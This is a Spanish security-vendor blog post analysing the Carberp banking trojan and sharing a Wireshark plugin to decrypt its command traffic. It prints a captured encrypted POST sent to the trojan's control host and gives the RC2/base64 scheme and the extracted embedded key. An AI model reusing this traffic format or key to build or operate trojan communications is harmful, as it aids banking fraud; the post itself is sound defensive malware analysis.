Español | English
rss facebook linkedin Twitter

Descifrar las comunicaciones del troyano Carberp

Carberp se trata de un troyano bancario descubierto recientemente (2010). Aunque no tenga la popularidad de otros troyanos como ZeuS o SpyEye, no puede ser ignorado, ya que sus características parecen indicar que pueda tener éxito en un futuro cercano. Las principales características de Carberp son:
  • Viaja con tres plugins: MiniAV, StopAV y Passw. MiniAV se trata de un mini-antivirus genérico diseñado para eliminar algunos troyanos específicos, así como otros troyanos no categorizados, que son detectado como malware mediante métodos heurísticos. Incluye mecanismos de desinfección para ZeuS, Adrenalin, Limbo, Barracuda y BlackEnergy. La inclusión de un mini-antivirus no es algo nuevo, sino algo que ya se ha visto anteriormente, por ejemplo, en Tatanga. El objetivo del plugin StopAV es desactivar varios productos antivirus, mientras que el plugin Passw contiene funcionalidad para robar contraseñas de unas 100 aplicaciones (desde clientes de FTP, correo electónico, del registro del Windows...)
  • Posee un proceso de instalación muy sofisticado, que incluye mecanismos de inyección de código en el navegador por defecto, así como en el proceso svchost.exe, y trata de explotar una vulnerabilidad de elevación de privilegios que afecta a diversas versiones de Windows (MS08-25). En el caso de poder ejecutar código a nivel de kernel restaura varios hooks establecidos habitualmente por los diferentes software antivirus que pueden detectar la presencia del troyano.
  • Junto con la funcionalidad de troyano y la inyección HTML, es capaz de realizar ataques Man-in-the-Browser.
Las últimas variantes de Carberp cifran las comunicaciones con el panel de control, lo que complica la observación y monitorización del troyano, por lo que un plugin para Wireshark puede ser muy útil. Puedes descargártelo de aquí junto con un fichero .pcap de muestra, incluido el código fuente (se ha probado únicamente con la última versión de 32bits de Wireshark).


En la imagen anterior podemos ver el plugin en acción, donde se puede observar que el troyano recibe el comando "updateconfig" desde el panel de control. La instalación del plugin es simple; únicamente debemos copiar en la carpeta "plugins" que se encuentra dentro de la carpeta de instalación del propio Wireshark. Para comprobar que el plugin ha sido cargado correctamente, deberemos verificar que aparece en la lista que aparece en el menú "Analyze - Enabled Protocols":


Veamos a continuación el algoritmo utilizado por Carberp para cifrar el tráfico:

POST /clssvoarsm.phtm HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: sandravsxpanel.cz.cc
Connection: Close
Content-Type: application/x-www-form-urlencoded
Content-Length: 691
cchq=KRQ55AVXERssj8SabRbGQFPODZUhZxjdZY9QgPAaGwhjb1%2FEqCdQneoEfXMET
LcYNneVMlpNcMSCwEFGLhSABClbFY8G5AZak5JOk4l8JY1UiZzgmSQWdJFmFYFw77u29
7TRAoJWs4k7zgCKRrwudgtxbdiP62OJOiKSyJ0OCd75ZmYKP4uLo1h3nPT%2BNLn2Zdr
amAU31TfsdLmbf4F%2F3lo%2FS3d00bdbzGZC4oYSIu8Ci9Qw6WCISy8LBBX1LFBS3Y7
S5A633XS5GVyylgvwDCPC%2Fsp47pBFRWa%2Bblnq4NkUnkkyszrnFxgxFfO76kVfzSz
FZAC8xcDnkrBMyr%2BRvINHn3PMdf4jGWImLFT%2BN8r8mDSAz%2FFkOJaxi7OlsiH30
6btuph1s0MG%2F1fLnxxBhsRcssrPVB4Q6VP%2BAOUaDLg26n5XhMbHskphPkhDTyIPZ
lc9LPsAfMG4dfd9PhOGzBJFH9kaAb2kC4WDtU%2BnZcuYoH2advviTm9wtcz4ZASW5kx
HPgkVw9uP73fnNEs1QHdGB57V9G57bd2qdmoZ%2BOojFrtOilpizUQ9cxBvl7nGj%2Bs
%2FuAPWVV%2FXOb1tyoMmtHmSY0BqoXzksdaK2%2FDU%2BGUfkDgV95MiLXd%2FG6hXe
5zXAEXH54ji

Los primeros y últimos 4 bytes (marcados en rojo) son necesarios para inicializar el descifrado, y son generados aleatoriamente en cada POST. Los datos que quedan entre los dos delimitadores se encuentran codificado en base64 y codificado con RC2. Además esta clave aleatoria de 8 bytes, existe otra clave de 16 bytes que se encuentra incrustada en el binario y necesitamos extraer, aunque afortunadamente no es complicado:


Obteniendo volcado de memoria del malware y cargándolo en un desensamblador, podemos encontrar la función correcta buscando el hash "618ADDBEh" Aunque no queda claro el objetivo de este hash, probablemente pertenezca a una clave de descifrado por defecto. En este caso nos tenemos que la clave es "rsg7?GhdHB16_Rbf", aunque todavía debemos realizar un XOR con el valor 05 para obtener la clave final: wvb2zBmaMG43ZWgc


Una vez que tenemos la clave, la deberemos introducir en el plugin para que éste funcione correctamente, en el menú "Edit - Preferences - Protocols", y ya estamos listos para analizar el tráfico de una máquina infectada ;)

Jozsef Gegeny
S21sec e-crime

3 comentarios:

Courier dijo...

Gracias por este datos voy a chequearlo al detalle.

Hosting dijo...

Interesante.

Anónimo dijo...

muy bueno!

gracias.


(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login